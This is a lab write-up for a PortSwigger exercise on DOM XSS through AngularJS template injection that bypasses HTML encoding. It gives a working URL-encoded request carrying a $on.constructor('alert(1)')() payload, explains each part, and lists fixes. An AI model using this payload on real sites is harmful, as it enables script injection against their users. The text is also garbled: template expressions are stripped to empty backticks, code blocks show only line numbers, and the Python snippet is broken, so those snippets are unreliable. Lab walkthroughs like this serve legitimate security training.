PortSwigger: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
Lab
PortSwigger Web Security Academy — DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
Difficulty: Practitioner
CWE: CWE-79 (Cross-Site Scripting)
Sub-class: Client-Side Template Injection (CSTI) via AngularJS
The Vulnerability
The application uses AngularJS (ng-app directive) and reflects the ?search= parameter inside the Angular template scope. The server HTML-encodes <, >, and " — blocking standard tag injection. But AngularJS evaluates `` template expressions client-side, entirely independently of HTML encoding.
An attacker can inject a valid AngularJS expression that calls arbitrary JavaScript without using a single angle bracket.
Fingerprinting
Inject `` in the search box. If the page renders 49, the input is evaluated as an AngularJS expression and the page is exploitable.
The Payload
1
| Part | Role |
|---|---|
$on | Always-present AngularJS scope method |
.constructor | JavaScript Function constructor |
('alert(1)') | Creates a Function with body alert(1) |
() | Immediately invokes it |
No <, >, or " required — the filter is irrelevant.
Working Request
1
2
GET /?search=%7B%7B%24on.constructor%28%27alert%281%29%27%29%28%29%7D%7D HTTP/2
Host: <lab-id>.web-security-academy.net
AngularJS evaluates the expression client-side → alert(1) fires → lab solved.
Shell-Quoting Gotcha
$on is a shell variable reference. Passing the payload naively to bash expands it to empty string (`` — invalid, no alert). Build the payload safely in Python:
1
payload = ' + chr(36) + "on.constructor('
Why HTML Encoding Doesn’t Help
1
2
Filter blocks: <script>alert(1)</script> → <script>...
Attacker sends: → no < or > needed
The server defends against HTML tag injection but AngularJS creates a second execution boundary that runs after the HTML is parsed — completely outside the scope of HTML encoding.
Fix
- Do not reflect untrusted input into an AngularJS `` expression context.
- Use
ng-bind(text-only interpolation) instead of `` for user-supplied content. - Migrate from AngularJS 1.x (reached EOL 2021) to Angular 2+ which removes this vector.
- Apply a Content Security Policy (
script-src 'self') to limit script sources.